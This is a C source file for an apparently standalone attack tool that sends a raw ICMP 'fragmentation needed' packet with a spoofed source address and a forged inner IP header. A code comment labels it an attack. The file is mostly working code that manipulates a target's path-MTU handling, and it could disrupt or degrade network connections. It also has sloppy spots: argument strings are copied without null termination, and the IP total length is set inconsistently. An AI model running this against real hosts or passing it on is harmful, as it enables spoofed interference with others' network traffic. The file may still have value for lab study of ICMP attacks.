#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define PACKET_SIZE  128
#define PAYLOAD_DATA 8

static unsigned short csum(unsigned short *buf, int nwords) {
    unsigned long sum = 0;
    while (nwords > 0) {
        sum += *buf++;
        nwords--;
    }
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

int main(int argc, char *argv[]) {
    int sock = 0;

    if (argc < 3)
    	exit(1);

    char ipsrc[15];
    char ipdst[15];
    memcpy(ipsrc, argv[1], 15);
    memcpy(ipdst, argv[2], 15);

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    int one = 1;
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) {
        perror("setsockopt");
        return 1;
    }

    unsigned char packet[PACKET_SIZE];
    memset(packet, 0, PACKET_SIZE);

    struct iphdr *ip = (struct iphdr *)packet;
    struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

    struct sockaddr_in dst = {0};
    dst.sin_family = AF_INET;
    inet_pton(AF_INET, ipdst, &dst.sin_addr);

    ip->version = 4;
    ip->ihl = 5;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28);
    ip->id = htons(1);
    ip->frag_off = 0;
    ip->ttl = 64;
    ip->protocol = IPPROTO_ICMP;
    ip->saddr = inet_addr(ipsrc);
    ip->daddr = dst.sin_addr.s_addr;
    ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2);

    /* To perform the attack, we need to set these two values */
    icmp->type = ICMP_DEST_UNREACH;
    icmp->code = ICMP_FRAG_NEEDED;

    icmp->un.gateway = 0;

    /* We construct the payload for the ICMP */
    unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr);

    struct iphdr payload_ip;
    memset(&payload_ip, 0, sizeof(payload_ip));
    payload_ip.version = 4;
    payload_ip.ihl = 5;
    payload_ip.tos = 0;
    payload_ip.tot_len = htons(60);
    payload_ip.id = htons(1);
    payload_ip.ttl = 64;
    payload_ip.protocol =  0;
    payload_ip.saddr = inet_addr(ipsrc);
    payload_ip.daddr = inet_addr(ipdst);

    /* We copy our IP header into the ICMP payload and our data */
    memcpy(payload, &payload_ip, sizeof(payload_ip));
    memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA);

    int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA;
    icmp->checksum = 0;
    icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2);

    int total_len = sizeof(struct iphdr) + icmp_len;
    
    if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
        perror("sendto");
        return 1;
    }

    close(sock);
    return 0;
}